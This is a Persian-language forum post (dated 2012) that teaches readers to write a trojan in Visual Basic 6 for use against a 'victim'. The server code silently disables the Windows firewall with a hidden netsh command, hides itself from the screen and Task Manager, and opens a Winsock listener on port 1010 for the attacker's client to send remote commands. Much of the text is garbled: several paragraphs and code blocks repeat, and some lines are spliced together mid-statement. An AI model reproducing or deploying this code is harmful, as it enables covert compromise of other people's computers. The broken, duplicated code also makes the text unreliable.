07-30-2012، 10:27 PM
با تشکر از Amin_mansouri که به من اجازه داد تایپیک تروجان نویسی رو راه بندازم
تروجان از دو فایل سرور و کلاینت ساخته شده که برنامه ی کلاینت برای شماس و برنامه سرور برای قربانیه
که از طریق این دو فایل باهم ارتباط برقرار میکنید مثلا ( چت کردن , کنترل سیستم قربانی , .............. )
خب حالا شروع میکنیم به نوشتن سورس تروجان اول از قسمت سرور شروع میکنیم.
وقتی قربانی برنامه ی سرور رو اجرا کنه برنامه یک پورت رو که به دلخواه شماس رو کامپیوتر هدف باز میکنه تا برنامه ی کلاینت شما به ایپی و پورت کانکت بشه منتها فایروال سیستم به باز شدن پورت گیر میده و ما با این کد فایروال سیستم رو خاموش میکنیم
Private Sub Form_Load()
Shell "netsh firewall set opmode disable", vbHide
End Sub
برای پنهان بودن برنامه از کدای زیر استفاده میکنیم
Private Sub Form_Load()
از کار انداختن فایروال ویندوز Shell "netsh firewall set opmode disable", vbHide
پنهان بودن برنامه Form1.Hide
پنهان بودن برنامه در تسک منیجر App.TaskVisible = False
end sub
حالا باید درون فرم یه کنترل winsock بزاریم و در قسمت فرم لود کد های زیر را بگزاریم
Me.Winsock1.LocalPort = 1010
Me.Winsock1.Listen
خط اول یک پورت را به وینسوک میشناسونیم مثلا 1010 و خط دووم یعنی پورت مورد نظررو باز کن و به آن گوش بده , حواستون باشه این کدا رو در فرم لود بزارید
حالا در درون فرم 2 تا Textbox و یک command درست کنید و caption دکمتونو send بزارید
در داخل دکمه ی ارسال این کد رو قرار بدید
حالا میرسیم به اینجا که وقتی قربانی سرور رو باز میکنه هیچی بالا نمیاد پس چجوری پیامی که ما براش میفرستیمو ببینه یا برامون پیام بفرسته
ما در برنامه ی کلاینتمون که در آینده یاد میدم 2 تا دکمه داریم یکی به اسم Show Chat و دومی Hide Chat
دکمه اول رو که بزنیم فرم chat برای قربانی باز میشه و میتونه با ما چت کنه یا ما با اون و دکمه ی دوم فرم چت رو قایم میکنه برای این کار شما این کد هارو به برنامه ی سرور اضافه کنید
خب حالا دیگه رسیدیم به بخش کلاینت. چون کد های اساسی رو یاد دادم دیگه کد های کلاینتو یاد نمیدم سورسشو میزارم تا خودتون ببینید
تروجان از دو فایل سرور و کلاینت ساخته شده که برنامه ی کلاینت برای شماس و برنامه سرور برای قربانیه
که از طریق این دو فایل باهم ارتباط برقرار میکنید مثلا ( چت کردن , کنترل سیستم قربانی , .............. )
خب حالا شروع میکنیم به نوشتن سورس تروجان اول از قسمت سرور شروع میکنیم.
وقتی قربانی برنامه ی سرور رو اجرا کنه برنامه یک پورت رو که به دلخواه شماس رو کامپیوتر هدف باز میکنه تا برنامه ی کلاینت شما به ایپی و پورت کانکت بشه منتها فایروال سیستم به باز شدن پورت گیر میده و ما با این کد فایروال سیستم رو خاموش میکنیم
Private Sub Form_Load()
Shell "netsh firewall set opmode disable", vbHide
End Sub
برای پنهان بودن برنامه از کدای زیر استفاده میکنیم
Private Sub Form_Load()
از کار انداختن فایروال ویندوز Shell "netsh firewall set opmode disable", vbHide
پنهان بودن برنامه Form1.Hide
پنهان بودن برنامه در تسک منیجر App.TaskVisible = False
end sub
حالا باید درون فرم یه کنترل winsock بزاریم و در قسمت فرم لود کد های زیر را بگزاریم
Me.Winsock1.LocalPort = 1010
Me.Winsock1.Listen
خط اول یک پورت را به وینسوک میشناسونیم مثلا 1010 و خط دووم یعنی پورت مورد نظررو باز کن و به آن گوش بده , حواستون باشه این کدا رو در فرم لود بزارید
حالا در درون فرم 2 تا Textbox و یک command درست کنید و caption دکمتونو send بزارید
در داخل دکمه ی ارسال این کد رو قرار بدید
Private Sub Command1_Click()
Me.Winsock1.SendData Me.Text1.Text
Me.Text1.Text = ""
End Sub
Me.Winsock1.SendData Me.Text1.Text
Me.Text1.Text = ""
End Sub
با این کد نوشته های داخل text1 به برنامه ی دووم یعنی کلاینت فرستاده میشه
و کد پایین نوشتهایی که کلاینت میفرسته درون text2 قرار میده
و کد پایین نوشتهایی که کلاینت میفرسته درون text2 قرار میده
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim myd As String
Me.Winsock1.GetData myd, vbString
Me.Text2.Text = myd
Dim myd As String
Me.Winsock1.GetData myd, vbString
Me.Text2.Text = myd
End Sub
Me.Winsock1.Accept requestID
End Sub
Private Sub Winsock1_Close()
Me.Winsock1.Close
Me.Winsock1.Listen
End Sub
کد پایین از خطا جلو گیری میکنه
If Me.Winsock1.State <> sckConnected Then Me.Winsock1.CloseMe.Winsock1.Accept requestID
End Sub
Private Sub Winsock1_Close()
Me.Winsock1.Close
Me.Winsock1.Listen
End Sub
حالا میرسیم به اینجا که وقتی قربانی سرور رو باز میکنه هیچی بالا نمیاد پس چجوری پیامی که ما براش میفرستیمو ببینه یا برامون پیام بفرسته
ما در برنامه ی کلاینتمون که در آینده یاد میدم 2 تا دکمه داریم یکی به اسم Show Chat و دومی Hide Chat
دکمه اول رو که بزنیم فرم chat برای قربانی باز میشه و میتونه با ما چت کنه یا ما با اون و دکمه ی دوم فرم چت رو قایم میکنه برای این کار شما این کد هارو به برنامه ی سرور اضافه کنید
Private Sub Text2_Change()
If Me.Text2.Text = "SHOW FORM" Then
Form1.Show
Me.Text2.Text = ""
End If
If Me.Text2.Text = "HIDE FORM" Then
Form1.Hide
Me.Text2.Text = ""
End If
End Sub
If Me.Text2.Text = "SHOW FORM" Then
Form1.Show
Me.Text2.Text = ""
End If
If Me.Text2.Text = "HIDE FORM" Then
Form1.Hide
Me.Text2.Text = ""
End If
End Sub
خب حالا دیگه سرور ما حاضره اینم سورسش
خب حالا دیگه رسیدیم به بخش کلاینت. چون کد های اساسی رو یاد دادم دیگه کد های کلاینتو یاد نمیدم سورسشو میزارم تا خودتون ببینید
